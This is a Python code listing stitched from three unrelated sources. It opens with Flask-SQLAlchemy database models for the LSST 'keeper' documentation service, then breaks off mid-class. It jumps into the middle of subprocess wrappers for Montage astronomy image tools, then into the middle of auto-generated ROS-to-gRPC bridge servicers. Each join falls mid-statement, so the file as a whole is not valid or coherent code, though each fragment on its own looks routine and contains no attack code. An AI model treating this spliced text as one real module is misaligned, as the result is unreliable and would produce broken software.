"""Flask-SQLAlchemy-based database ORM models. Copyright 2016 AURA/LSST. Copyright 2014 <NAME>. """ from __future__ import annotations import enum import urllib.parse import uuid from datetime import datetime from typing import Any, List, Optional, Type, Union from cryptography.fernet import Fernet from flask import current_app from flask_migrate import Migrate from flask_sqlalchemy import SQLAlchemy from itsdangerous import TimedJSONWebSignatureSerializer as Serializer from pydantic import SecretStr from structlog import get_logger from werkzeug.security import check_password_hash, generate_password_hash from keeper.editiontracking import EditionTrackingModes from keeper.exceptions import ValidationError from keeper.utils import JSONEncodedVARCHAR, MutableList, validate_path_slug __all__ = [ "db", "migrate", "edition_tracking_modes", "Permission", "User", "Organization", "DashboardTemplate", "Tag", "Product", "product_tags", "Build", "Edition", ] db = SQLAlchemy() """Database connection. This is initialized in `keeper.appfactory.create_flask_app`. """ migrate = Migrate() """Flask-SQLAlchemy extension instance. This is initialized in `keeper.appfactory.create_flask_app`. """ edition_tracking_modes = EditionTrackingModes() """Tracking modes for editions.""" class IntEnum(db.TypeDecorator): # type: ignore """A custom column type that persists enums as their value, rather than the name. Notes ----- This code is based on https://michaelcho.me/article/using-python-enums-in-sqlalchemy-models """ impl = db.Integer def __init__( self, enumtype: Type[enum.IntEnum], *args: Any, **kwargs: Any ) -> None: super().__init__(*args, **kwargs) self._enumtype = enumtype def process_bind_param( self, value: Union[int, enum.IntEnum], dialect: Any ) -> int: if isinstance(value, enum.IntEnum): return value.value else: return value def process_result_value(self, value: int, dialect: Any) -> enum.IntEnum: return self._enumtype(value) class Permission: """User permission definitions. These permissions can be added to the ``permissions`` column of a `User`. For example, to give a user permission to both administer products *and* editions:: p = Permission user = User(username='test-user', permissions=p.ADMIN_PRODUCT | p.ADMIN_EDITION) You can give a user permission to do everything with the `User.full_permissions` helper method:: p = Permission user = User(username='admin-user', permission=p.full_permissions()) See `User.has_permission` for how to use these permission bits to test user authorization. """ ADMIN_USER = 0b1 """Permission to create a new API user, view API users, and modify API user permissions. """ ADMIN_PRODUCT = 0b10 """Permission to add, modify and deprecate Products.""" ADMIN_EDITION = 0b100 """Permission to add, modify and deprecate Editions.""" UPLOAD_BUILD = 0b1000 """Permission to create a new Build.""" DEPRECATE_BUILD = 0b10000 """Permission to deprecate a Build.""" @classmethod def full_permissions(self) -> int: """Helper method to create a bit mask with all permissions enabled. Returns ------- permissions : int Bit mask with all permissions enabled. """ return ( self.ADMIN_USER | self.ADMIN_PRODUCT | self.ADMIN_EDITION | self.UPLOAD_BUILD | self.DEPRECATE_BUILD ) class User(db.Model): # type: ignore """DB model for authenticated API users.""" __tablename__ = "users" id = db.Column(db.Integer, primary_key=True) """Primary key for this User.""" username = db.Column(db.Unicode(255), index=True, unique=True) """Username (must be unique).""" password_hash = db.Column(db.String(128)) """Password hash.""" permissions = db.Column(db.Integer) """Permissions for this user, as a bit. See also -------- Permission """ def set_password(self, password: str) -> None: self.password_hash = generate_password_hash(password) def verify_password(self, password: str) -> bool: return check_password_hash(self.password_hash, password) def generate_auth_token(self, expires_in: int = 3600) -> str: s = Serializer(current_app.config["SECRET_KEY"], expires_in=expires_in) return s.dumps({"id": self.id}).decode("utf-8") @staticmethod def verify_auth_token(token: str) -> Optional["User"]: s = Serializer(current_app.config["SECRET_KEY"]) try: data = s.loads(token) except Exception: return None return User.query.get(data["id"]) def has_permission(self, permissions: int) -> bool: """Verify that a user has a given set of permissions. Permissions are defined in the `Permission` class. To check authorization for a user against a specific permissions:: user.has_permission(Permission.ADMIN_PRODUCT) You can also check authorization against multiple permissions:: user.has_permission( Permission.ADMIN_PRODUCT | PERMISSION.ADMIN_EDITION) Arguments --------- permissions : int The permission bits to test. Use attributes from :class:`Permission`. Returns ------- authorized : bool `True` if a user is authorized with the requested permissions. """ return (self.permissions & permissions) == permissions class DashboardTemplate(db.Model): # type: ignore """DB model for an edition dashboard template.""" __tablename__ = "dashboardtemplates" id = db.Column(db.Integer, primary_key=True) """Primary key for this dashboard template.""" organization_id = db.Column(db.Integer, db.ForeignKey("organizations.id")) """ID of the organization associated with this template.""" comment = db.Column(db.UnicodeText(), nullable=True) """A note about this dashboard template.""" bucket_prefix = db.Column(db.Unicode(255), nullable=False, unique=True) """S3 bucket prefix where all assets related to this template are persisted. """ created_by_id = db.Column(db.Integer, db.ForeignKey("users.id")) """ID of user who created this template.""" date_created = db.Column(db.DateTime, default=datetime.now, nullable=False) """DateTime when this template was created.""" deleted_by_id = db.Column( db.Integer, db.ForeignKey("users.id"), nullable=True ) """ID of user who deleted this template.""" date_deleted = db.Column(db.DateTime, default=None, nullable=True) """DateTime when this template was deleted (or null if the template has not been deleted. """ created_by = db.relationship( "User", primaryjoin="DashboardTemplate.created_by_id == User.id", ) """User who created this template.""" deleted_by = db.relationship( "User", primaryjoin="DashboardTemplate.deleted_by_id == User.id" ) """User who deleted this template.""" organization = db.relationship( "Organization", back_populates="dashboard_templates", foreign_keys=[organization_id], ) class OrganizationLayoutMode(enum.IntEnum): """Layout mode (enum) for organizations.""" subdomain = 1 """Layout based on a subdomain for each project.""" path = 2 """Layout based on a path prefix for each project.""" class Organization(db.Model): # type: ignore """DB model for an organization resource. Organizations own products (`Product`). """ __tablename__ = "organizations" id = db.Column(db.Integer, primary_key=True) """Primary key for this organization.""" default_dashboard_template_id = db.Column(db.Integer, nullable=True) """ID of the organization's default dashboard template (`DashboardTemplate`), if one is set. """ slug = db.Column(db.Unicode(255), nullable=False, unique=True) """URL-safe identifier for this organization (unique).""" title = db.Column(db.Unicode(255), nullable=False) """Presentational title for this organization.""" layout = db.Column( IntEnum(OrganizationLayoutMode), nullable=False, default=OrganizationLayoutMode.subdomain, ) """Layout mode. See also -------- OrganizationLayoutMode """ fastly_support = db.Column(db.Boolean, nullable=False, default=True) """Flag Fastly CDN support.""" root_domain = db.Column(db.Unicode(255), nullable=False) """Root domain name serving docs (e.g., lsst.io).""" root_path_prefix = db.Column(db.Unicode(255), nullable=False, default="/") """Root path prefix for serving products.""" fastly_domain = db.Column(db.Unicode(255), nullable=True) """Fastly CDN domain name.""" fastly_encrypted_api_key = db.Column(db.String(255), nullable=True) """Fastly API key for this organization. The key is persisted as a fernet token. """ fastly_service_id = db.Column(db.Unicode(255), nullable=True) """Fastly service ID.""" bucket_name = db.Column(db.Unicode(255), nullable=True) """Name of the S3 bucket hosting builds.""" # FIXME nullable for migration aws_id = db.Column(db.Unicode(255), nullable=True) """The AWS key identity (this replaced the Kubernetes configuration-based key. """ # FIXME nullable for migration aws_encrypted_secret_key = db.Column(db.String(255), nullable=True) """The AWS secret key.""" products = db.relationship( "Product", back_populates="organization", lazy="dynamic" ) """Relationship to `Product` objects owned by this organization.""" tags = db.relationship("Tag", backref="organization", lazy="dynamic") """One-to-many relationship to all `Tag` objects related to this organization. """ dashboard_templates = db.relationship( DashboardTemplate, primaryjoin=id == DashboardTemplate.organization_id, back_populates="organization", ) def set_fastly_api_key(self, api_key: Optional[SecretStr]) -> None: """Encrypt and set the Fastly API key.""" if api_key is None: return self.fastly_encrypted_api_key = self._encrypt_secret_str(api_key) def get_fastly_api_key(self) -> SecretStr: """Get the decrypted Fastly API key.""" encrypted_key = self.fastly_encrypted_api_key if encrypted_key is None: raise ValueError("fastly_encrypted_api_key is not set.") return self._decrypt_to_secret_str(encrypted_key) def set_aws_secret_key(self, secret_key: Optional[SecretStr]) -> None: """Encrypt and set the AWS secret key.""" if secret_key is None: return self.aws_encrypted_secret_key = self._encrypt_secret_str(secret_key) def get_aws_secret_key(self) -> Optional[SecretStr]: """Get the decrypted Fastly API key.""" encrypted_key = self.aws_encrypted_secret_key if encrypted_key is None: return None return self._decrypt_to_secret_str(encrypted_key) def _encrypt_secret_str(self, secret: SecretStr) -> bytes: fernet_key = current_app.config["FERNET_KEY"] f = Fernet(fernet_key) token = f.encrypt(secret.get_secret_value().encode("utf-8")) return token def _decrypt_to_secret_str(self, token: bytes) -> SecretStr: fernet_key = current_app.config["FERNET_KEY"] f = Fernet(fernet_key) return SecretStr(f.decrypt(token).decode("utf-8")) product_tags = db.Table( "producttags", db.Column( "tag_id", db.Integer, db.ForeignKey("tags.id"), primary_key=True ), db.Column( "product_id", db.Integer, db.ForeignKey("products.id"), primary_key=True, ), ) """A table that associates the `Product` and `Tag` models.""" class Tag(db.Model): # type: ignore """DB model for tags in an `Organization`.""" __tablename__ = "tags" __table_args__ = ( db.UniqueConstraint("slug", "organization_id"), db.UniqueConstraint("title", "organization_id"), ) id = db.Column(db.Integer, primary_key=True) """Primary key for this tag.""" organization_id = db.Column( db.Integer, db.ForeignKey("organizations.id"), index=True ) """ID of the organization that this tag belongs to.""" slug = db.Column( db.Unicode(255), nullable=False, ) """URL-safe identifier for this tag.""" title = db.Column( db.Unicode(255), nullable=False, ) """Presentational title or label for this tag.""" comment = db.Column(db.UnicodeText(), nullable=True) """A note about this tag.""" products = db.relationship( "Product", secondary=product_tags, back_populates="tags" ) class Product(db.Model): # type: ignore """DB model for software products. A software product maps to a top-level Eups package and has a single product documentation repository associated with it. """ __tablename__ = "products" id = db.Column(db.Integer, primary_key=True) """Primary key for this product.""" organization_id = db.Column( db.Integer, db.ForeignKey("organizations.id"), nullable=False ) """Foreign key of the organization that owns this product.""" slug = db.Column(db.Unicode(255), nullable=False, unique=True) """URL/path-safe identifier for this product (unique).""" doc_repo = db.Column(db.Unicode(255), nullable=False) """URL of the Git documentation repo (i.e., on GitHub).""" title = db.Column(db.Unicode(255), nullable=False) """Title of this product.""" root_domain = db.Column(db.Unicode(255), nullable=False) """Root domain name serving docs (e.g., lsst.io).""" root_fastly_domain = db.Column(db.Unicode(255), nullable=False) """Fastly CDN domain name (without doc's domain prepended).""" bucket_name = db.Column(db.Unicode(255), nullable=True)
Turns on debugging to the specified level. no_area : bool, optional Indicates that no area images are present (assumes equal weighting for each data pixel) status_file : str, optional mBackground output and errors will be written to status_file instead of stdout. ''' command = "mBackground" if debug_level: command += " -d %s" % str(debug_level) if no_area: command += " -n" if status_file: command += " -s %s" % str(status_file) command += " " + str(in_image) command += " " + str(out_image) command += " " + str(A) command += " " + str(B) command += " " + str(C) p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = p.stderr.read() if stderr: raise Exception(stderr) return status.parse_struct("mBackground", p.stdout.read().strip()) def mBackground_tab(in_image, out_image, images_table, corrections_table, debug_level=None, no_area=False, status_file=None): ''' Remove a background plane from a FITS image. The background correction applied to the image is specified as Ax+By+C, where (x,y) is the pixel coordinate using the image center as the origin, and (A,B,C) are the background plane parameters specified as linear coefficients. This method runs mBackground_tab in 'table' mode. Parameters ---------- in_image : str Input FITS file out_image : str Output FITS file images_table : str Image metadata table to retrieve the filenames of images. corrections_table : str Table of corrections (from mFitplane and mFitExec) to apply to the corresponding image (from images_table). debug_level : int, optional Turns on debugging to the specified level. no_area : bool, optional Indicates that no area images are present (assumes equal weighting for each data pixel) status_file : str, optional mBackground_tab output and errors will be written to status_file instead of stdout. ''' command = "mBackground_tab" if debug_level: command += " -d %s" % str(debug_level) if no_area: command += " -n" if status_file: command += " -s %s" % str(status_file) command += " " + str(in_image) command += " " + str(out_image) command += " " + str(images_table) command += " " + str(corrections_table) p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = p.stderr.read() if stderr: raise Exception(stderr) return status.parse_struct("mBackground_tab", p.stdout.read().strip()) def mBestImage(images_table, ra, dec, debug=False): ''' Given a list of images and a position on the sky, determine which image covers the location "best" (i.e., the one where the position is farthest from the nearest edge). Parameters ---------- images_table : str Input table of image metadata (as generated by mImgtbl). ra : float RA of location of interest (in degrees) dec : float Declination of location of interest (in degrees) debug_level : int, optional Turn on debugging to the specified level (1 or 2) ''' command = "mBestImage" if debug: command += " -d" command += " " + str(images_table) command += " " + str(ra) command += " " + str(dec) p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = p.stderr.read() if stderr: raise Exception(stderr) return status.parse_struct("mBestImage", p.stdout.read().strip()) def mBgExec(images_table, corrections_table, corr_dir, proj_dir=None, status_file=None, debug=False, no_area=False, mpi=False, n_proc=8): ''' Runs mBackground on all the images in a metadata table, using the corrections generated by mBgModel. Parameters ---------- images_table : str Image metadata table generated by mImgtbl. corrections_table : str Table of corrections generated by mFitExec corr_dir : str Directory where output images should be written proj_dir : str, optional Specifies the path to the directory containing the projected images. status_file : str, optional Writes output message to status_file instead of to stdout debug : bool, optional Turns on debugging no_area : bool, optional Indicates that no area images are present (assumes equal weighting for each pixel) mpi : bool, optional If set to True, will use the MPI-enabled versions of the Montage executable. n_proc : int, optional If mpi is set to True, n_proc is the number of processes to run simultaneously (default is 8) ''' if mpi: command = _get_mpi_command(executable="mBgExecMPI", n_proc=n_proc) else: command = "mBgExec" if proj_dir: command += " -p %s" % str(proj_dir) if status_file: command += " -s %s" % str(status_file) if debug: command += " -d" if no_area: command += " -n" command += " " + str(images_table) command += " " + str(corrections_table) command += " " + str(corr_dir) p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = p.stderr.read() if stderr: raise Exception(stderr) return status.parse_struct("mBgExec", p.stdout.read().strip()) def mBgModel(images_table, fits_table, corrections_table, n_iter=None, level_only=False, debug_level=None, ref_img=None, status_file=None): ''' mBgModel is a modelling/fitting program. It uses the image-to-image difference parameter table created by mFitExec to interactively determine a set of corrections to apply to each image in order to achieve a "best" global fit. Parameters ---------- images_table : str Image metadata table generated by mImgtbl. fits_table : str Plane fitting table generated by mFitExec. corrections_table : str Output table of background corrections n_iter : int, optional Number of iterations (without option, defaults to 5000). Can be between 1 and 32767. level_only : bool, optional Calculate level adjustments only (ie, don't attempt to match the slopes) debug_level : int, optional Turns on debugging to the specified level (1-3). ref_img : str, optional Turns on additional debugging for the nth image in images_table. status_file : str, optional mBgModel output and errors are written to status_file instead of to stdout. ''' command = "mBgModel" if n_iter: command += " -i %s" % str(n_iter) if level_only: command += " -l" if debug_level: command += " -d %s" % str(debug_level) if ref_img: command += " -r %s" % str(ref_img) if status_file: command += " -s %s" % str(status_file) command += " " + str(images_table) command += " " + str(fits_table) command += " " + str(corrections_table) p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = p.stderr.read() if stderr: raise Exception(stderr) return status.parse_struct("mBgModel", p.stdout.read().strip()) def mCatMap(in_table, out_image, template_header, column=None, ref_mag=None, debug_level=None, size=None): ''' mCatMap is a point-source imaging program. The user defines a general output FITS image, and its pixels are populated from a table of point sources. The source fluxes (or just source counts) from the table are added into the appropriate pixel to create an output image. Parameters ---------- in_table : str Input table of source metadata. out_image : str Path of output FITS file. template_header : str ASCII header template defining output FITS file. column : str, optional Name of the table column that contains flux levels. If not specified, pixels will be populated with source counts rather than summed flux values. ref_mag : float, optional Set a reference magnitude to use when calculating fluxes. debug_level : int, optional Turn on debugging to the specified level (1-3) size : int, optional Set a spread size for point sources (default is to use no spread). Allowed values are 3 or 5. ''' command = "mCatMap" if column: command += " -c %s" % str(column) if ref_mag: command += " -m %s" % str(ref_mag) if debug_level: command += " -d %s" % str(debug_level) if size: command += " -w %s" % str(size) command += " " + str(in_table) command += " " + str(out_image) command += " " + str(template_header) p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr = p.stderr.read() if stderr: raise Exception(stderr) return status.parse_struct("mCatMap", p.stdout.read().strip()) def mConvert(in_image, out_image, debug_level=None, status_file=None, bitpix=None, min_val=None, max_val=None, blank_value=None): ''' mConvert changes the datatype of an image. When converting to floating point, no additional information is needed. However, when converting from higher precision (e.g. 64-bit floating point) to lower (e.g. 16-bit integer), scaling information is necessary. This can be given explicitly by the user or guessed by the program. Parameters ---------- in_image : str Input image filename out_image : str Output image filename. debug_level : int, optional Turns on debugging to the specified level (1-3). status_file : str, optional mBgModel output and errors are written to status_file instead of to stdout. bitpix : int, optional BITPIX value for the ouput FITS file (default is -64). Possible values are: 8 (character or unsigned binary integer), 16 (16-bit integer), 32 (32-bit integer), -32 (single precision floating point), -64 (double precision floating point). min_val : int, optional Pixel data value in the input
= roslib.message.get_message_class('dynamic_reconfigure/DoubleParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.min.doubles.append(ros_msg_) for pb_msg_ in pb_msg.min.groups: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/GroupState')() ros_msg_.name = pb_msg_.name ros_msg_.state = pb_msg_.state ros_msg_.id = pb_msg_.id ros_msg_.parent = pb_msg_.parent ros_msg.min.groups.append(ros_msg_) for pb_msg_ in pb_msg.dflt.bools: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/BoolParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.dflt.bools.append(ros_msg_) for pb_msg_ in pb_msg.dflt.ints: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/IntParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.dflt.ints.append(ros_msg_) for pb_msg_ in pb_msg.dflt.strs: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/StrParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.dflt.strs.append(ros_msg_) for pb_msg_ in pb_msg.dflt.doubles: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/DoubleParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.dflt.doubles.append(ros_msg_) for pb_msg_ in pb_msg.dflt.groups: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/GroupState')() ros_msg_.name = pb_msg_.name ros_msg_.state = pb_msg_.state ros_msg_.id = pb_msg_.id ros_msg_.parent = pb_msg_.parent ros_msg.dflt.groups.append(ros_msg_) self.pub.publish(ros_msg) return ros_pb.Empty() def Subscribe(self, request, context): c = {'unsubscribed': False} ros_messages = [] def callback(ros_msg): ros_messages.append(ros_msg) subscription = rospy.Subscriber('/usb_cam/image_raw/theora/parameter_descriptions', self.Msg, callback) def on_rpc_done(): c['unsubscribed'] = True print("Attempting to regain servicer thread...", c) subscription.unregister() context.add_callback(on_rpc_done) while not c['unsubscribed']: while ros_messages: ros_msg = ros_messages.pop(0) pb_msg = ros_pb.dynamic_reconfigure.ConfigDescription() for ros_msg_ in ros_msg.groups: pb_msg_ = ros_pb.dynamic_reconfigure.Group() pb_msg_.name = ros_msg_.name pb_msg_.type = ros_msg_.type for ros_msg__ in ros_msg_.parameters: pb_msg__ = ros_pb.dynamic_reconfigure.ParamDescription() pb_msg__.name = ros_msg__.name pb_msg__.type = ros_msg__.type pb_msg__.level = ros_msg__.level pb_msg__.description = ros_msg__.description pb_msg__.edit_method = ros_msg__.edit_method pb_msg_.parameters.append(pb_msg__) pb_msg_.parent = ros_msg_.parent pb_msg_.id = ros_msg_.id pb_msg.groups.append(pb_msg_) for ros_msg_ in ros_msg.max.bools: pb_msg_ = ros_pb.dynamic_reconfigure.BoolParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.max.bools.append(pb_msg_) for ros_msg_ in ros_msg.max.ints: pb_msg_ = ros_pb.dynamic_reconfigure.IntParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.max.ints.append(pb_msg_) for ros_msg_ in ros_msg.max.strs: pb_msg_ = ros_pb.dynamic_reconfigure.StrParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.max.strs.append(pb_msg_) for ros_msg_ in ros_msg.max.doubles: pb_msg_ = ros_pb.dynamic_reconfigure.DoubleParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.max.doubles.append(pb_msg_) for ros_msg_ in ros_msg.max.groups: pb_msg_ = ros_pb.dynamic_reconfigure.GroupState() pb_msg_.name = ros_msg_.name pb_msg_.state = ros_msg_.state pb_msg_.id = ros_msg_.id pb_msg_.parent = ros_msg_.parent pb_msg.max.groups.append(pb_msg_) for ros_msg_ in ros_msg.min.bools: pb_msg_ = ros_pb.dynamic_reconfigure.BoolParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.min.bools.append(pb_msg_) for ros_msg_ in ros_msg.min.ints: pb_msg_ = ros_pb.dynamic_reconfigure.IntParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.min.ints.append(pb_msg_) for ros_msg_ in ros_msg.min.strs: pb_msg_ = ros_pb.dynamic_reconfigure.StrParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.min.strs.append(pb_msg_) for ros_msg_ in ros_msg.min.doubles: pb_msg_ = ros_pb.dynamic_reconfigure.DoubleParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.min.doubles.append(pb_msg_) for ros_msg_ in ros_msg.min.groups: pb_msg_ = ros_pb.dynamic_reconfigure.GroupState() pb_msg_.name = ros_msg_.name pb_msg_.state = ros_msg_.state pb_msg_.id = ros_msg_.id pb_msg_.parent = ros_msg_.parent pb_msg.min.groups.append(pb_msg_) for ros_msg_ in ros_msg.dflt.bools: pb_msg_ = ros_pb.dynamic_reconfigure.BoolParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.dflt.bools.append(pb_msg_) for ros_msg_ in ros_msg.dflt.ints: pb_msg_ = ros_pb.dynamic_reconfigure.IntParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.dflt.ints.append(pb_msg_) for ros_msg_ in ros_msg.dflt.strs: pb_msg_ = ros_pb.dynamic_reconfigure.StrParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.dflt.strs.append(pb_msg_) for ros_msg_ in ros_msg.dflt.doubles: pb_msg_ = ros_pb.dynamic_reconfigure.DoubleParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.dflt.doubles.append(pb_msg_) for ros_msg_ in ros_msg.dflt.groups: pb_msg_ = ros_pb.dynamic_reconfigure.GroupState() pb_msg_.name = ros_msg_.name pb_msg_.state = ros_msg_.state pb_msg_.id = ros_msg_.id pb_msg_.parent = ros_msg_.parent pb_msg.dflt.groups.append(pb_msg_) yield pb_msg rospy.sleep(0.01) class usb_cam_image_raw_theora_parameter_updatesServicer(ros_grpc.usb_cam_image_raw_theora_parameter_updatesServicer): def __init__(self): self.pub = None self.Msg = roslib.message.get_message_class('dynamic_reconfigure/Config') def Publish(self, pb_msg, context): if self.pub == None: self.pub = rospy.Publisher('/usb_cam/image_raw/theora/parameter_updates', self.Msg, queue_size=10) ros_msg = self.Msg() for pb_msg_ in pb_msg.bools: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/BoolParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.bools.append(ros_msg_) for pb_msg_ in pb_msg.ints: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/IntParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.ints.append(ros_msg_) for pb_msg_ in pb_msg.strs: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/StrParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.strs.append(ros_msg_) for pb_msg_ in pb_msg.doubles: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/DoubleParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.doubles.append(ros_msg_) for pb_msg_ in pb_msg.groups: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/GroupState')() ros_msg_.name = pb_msg_.name ros_msg_.state = pb_msg_.state ros_msg_.id = pb_msg_.id ros_msg_.parent = pb_msg_.parent ros_msg.groups.append(ros_msg_) self.pub.publish(ros_msg) return ros_pb.Empty() def Subscribe(self, request, context): c = {'unsubscribed': False} ros_messages = [] def callback(ros_msg): ros_messages.append(ros_msg) subscription = rospy.Subscriber('/usb_cam/image_raw/theora/parameter_updates', self.Msg, callback) def on_rpc_done(): c['unsubscribed'] = True print("Attempting to regain servicer thread...", c) subscription.unregister() context.add_callback(on_rpc_done) while not c['unsubscribed']: while ros_messages: ros_msg = ros_messages.pop(0) pb_msg = ros_pb.dynamic_reconfigure.Config() for ros_msg_ in ros_msg.bools: pb_msg_ = ros_pb.dynamic_reconfigure.BoolParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.bools.append(pb_msg_) for ros_msg_ in ros_msg.ints: pb_msg_ = ros_pb.dynamic_reconfigure.IntParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.ints.append(pb_msg_) for ros_msg_ in ros_msg.strs: pb_msg_ = ros_pb.dynamic_reconfigure.StrParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.strs.append(pb_msg_) for ros_msg_ in ros_msg.doubles: pb_msg_ = ros_pb.dynamic_reconfigure.DoubleParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.doubles.append(pb_msg_) for ros_msg_ in ros_msg.groups: pb_msg_ = ros_pb.dynamic_reconfigure.GroupState() pb_msg_.name = ros_msg_.name pb_msg_.state = ros_msg_.state pb_msg_.id = ros_msg_.id pb_msg_.parent = ros_msg_.parent pb_msg.groups.append(pb_msg_) yield pb_msg rospy.sleep(0.01) class image_view_get_loggersServicer(ros_grpc.image_view_get_loggersServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('roscpp/GetLoggers') rospy.wait_for_service('/image_view/get_loggers') call = rospy.ServiceProxy('/image_view/get_loggers', Srv) ros_msg = Srv._request_class() ros_msg = call(ros_msg) pb_msg = ros_pb.roscpp.GetLoggersResponse() for ros_msg_ in ros_msg.loggers: pb_msg_ = ros_pb.roscpp.Logger() pb_msg_.name = ros_msg_.name pb_msg_.level = ros_msg_.level pb_msg.loggers.append(pb_msg_) return pb_msg class image_view_listServicer(ros_grpc.image_view_listServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('nodelet/NodeletList') rospy.wait_for_service('/image_view/list') call = rospy.ServiceProxy('/image_view/list', Srv) ros_msg = Srv._request_class() ros_msg = call(ros_msg) pb_msg = ros_pb.nodelet.NodeletListResponse() for ros_msg_ in ros_msg.nodelets: pb_msg.nodelets.append(ros_msg_) return pb_msg class image_view_load_nodeletServicer(ros_grpc.image_view_load_nodeletServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('nodelet/NodeletLoad') rospy.wait_for_service('/image_view/load_nodelet') call = rospy.ServiceProxy('/image_view/load_nodelet', Srv) ros_msg = Srv._request_class() ros_msg.name = pb_msg.name ros_msg.type = pb_msg.type for pb_msg_ in pb_msg.remap_source_args: ros_msg.remap_source_args.append(pb_msg_) for pb_msg_ in pb_msg.remap_target_args: ros_msg.remap_target_args.append(pb_msg_) for pb_msg_ in pb_msg.my_argv: ros_msg.my_argv.append(pb_msg_) ros_msg.bond_id = pb_msg.bond_id ros_msg = call(ros_msg) pb_msg = ros_pb.nodelet.NodeletLoadResponse() pb_msg.success = ros_msg.success return pb_msg class image_view_set_logger_levelServicer(ros_grpc.image_view_set_logger_levelServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('roscpp/SetLoggerLevel') rospy.wait_for_service('/image_view/set_logger_level') call = rospy.ServiceProxy('/image_view/set_logger_level', Srv) ros_msg = Srv._request_class() ros_msg.logger = pb_msg.logger ros_msg.level = pb_msg.level ros_msg = call(ros_msg) pb_msg = ros_pb.roscpp.SetLoggerLevelResponse() return pb_msg class image_view_set_parametersServicer(ros_grpc.image_view_set_parametersServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('dynamic_reconfigure/Reconfigure') rospy.wait_for_service('/image_view/set_parameters') call = rospy.ServiceProxy('/image_view/set_parameters', Srv) ros_msg = Srv._request_class() for pb_msg_ in pb_msg.config.bools: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/BoolParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.config.bools.append(ros_msg_) for pb_msg_ in pb_msg.config.ints: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/IntParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.config.ints.append(ros_msg_) for pb_msg_ in pb_msg.config.strs: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/StrParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.config.strs.append(ros_msg_) for pb_msg_ in pb_msg.config.doubles: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/DoubleParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.config.doubles.append(ros_msg_) for pb_msg_ in pb_msg.config.groups: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/GroupState')() ros_msg_.name = pb_msg_.name ros_msg_.state = pb_msg_.state ros_msg_.id = pb_msg_.id ros_msg_.parent = pb_msg_.parent ros_msg.config.groups.append(ros_msg_) ros_msg = call(ros_msg) pb_msg = ros_pb.dynamic_reconfigure.ReconfigureResponse() for ros_msg_ in ros_msg.config.bools: pb_msg_ = ros_pb.dynamic_reconfigure.BoolParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.config.bools.append(pb_msg_) for ros_msg_ in ros_msg.config.ints: pb_msg_ = ros_pb.dynamic_reconfigure.IntParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value 